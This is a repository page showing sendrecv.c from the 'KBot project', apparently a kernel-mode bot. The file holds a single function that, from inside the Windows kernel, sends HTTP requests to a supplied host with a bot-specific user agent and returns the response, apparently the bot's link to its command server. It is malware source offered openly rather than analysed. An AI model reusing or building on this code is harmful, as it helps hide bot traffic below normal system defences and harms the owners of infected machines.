-
Notifications
You must be signed in to change notification settings - Fork 158
/
Copy pathsendrecv.c
121 lines (92 loc) · 2.65 KB
/
sendrecv.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KBot project.
//
// module: sendrecv.c
// $Revision: 29 $
// $Date: 2012-05-30 11:47:28 +0400 (Ср, 30 май 2012) $
// description:
// Kernel-mode client program.
// Send and receive data functions.
#include <Ntifs.h>
#include <ntddk.h>
#include <ntimage.h>
#define NTSTRSAFE_NO_DEPRECATE
#include <ntstrsafe.h>
#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "inaddr.h"
#include "kipapi.h"
#include "..\khttp\khttp.h"
#include "..\kiplib\kstream.h"
#include "kbot.h"
#include "kbotinc.h"
NTSTATUS KBotRequest(
IN PCHAR Host,
IN PCHAR Uri,
IN PCHAR Method,
OUT PCHAR* pBuffer,
OUT PULONG pSize
)
{
NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
HANDLE hSession = 0, hConnect = 0, hRequest = 0;
PKSTREAM pStream = NULL;
PCHAR Buffer = NULL;
KdPrint(("KBOT: request \"%s %s%s\"\n", Method, Host, Uri));
do // not a loop
{
ULONG Status = 0, sLen = sizeof(ULONG), Total = 0;
BOOL Ret;
if (!(Buffer = KBotAlloc(KBOT_CONTENT_BUFFER_SIZE)))
break;
if (!(pStream = KStreamAllocate()))
break;
if (!(hSession = KHttpOpen(g_KbotUserAgent, 0, NULL, NULL, 0)))
break;
if (!(hConnect = KHttpConnect(hSession, Host, KHTTP_DEFAULT_HTTP_PORT, 0)))
{
ntStatus = STATUS_CONNECTION_REFUSED;
break;
}
ntStatus = STATUS_REQUEST_NOT_ACCEPTED;
if (!(hRequest = KHttpOpenRequest(hConnect, Method, Uri, NULL, NULL, NULL, 0)))
break;
if (!(Ret = KHttpSendRequest(hRequest, NULL, 0, NULL, 0, 0, 0)))
break;
if (!(Ret = KHttpReceiveResponse(hRequest, NULL)))
break;
if (!KHttpQueryHeaders(hRequest, KHTTP_QUERY_STATUS_CODE, NULL, &Status, &sLen, NULL))
break;
if (Status != KHTTP_STATUS_OK)
break;
while(KHttpReadData(hRequest, Buffer, KBOT_CONTENT_BUFFER_SIZE, &sLen) && sLen != 0)
{
KStreamWrite(pStream, Buffer, sLen);
Total += sLen;
}
KBotFree(Buffer);
if (sLen = KStreamGetLength(pStream))
{
if (!(Buffer = KBotAlloc(sLen + 1)))
break;
KStreamRead(pStream, Buffer, sLen);
Buffer[sLen] = 0;
*pBuffer = Buffer;
} // if (sLen = KStreamGetLength(pStream))
*pSize = sLen;
ntStatus = STATUS_SUCCESS;
} while(FALSE);
if (hRequest)
KHttpCloseHandle(hRequest);
if (hConnect)
KHttpCloseHandle(hConnect);
if (hSession)
KHttpCloseHandle(hSession);
if (pStream)
KStreamRelease(pStream);
if (!NT_SUCCESS(ntStatus))
KBotFree(Buffer);
KdPrint(("KBOT: request ended with status 0x%x\n", ntStatus));
return(ntStatus);
}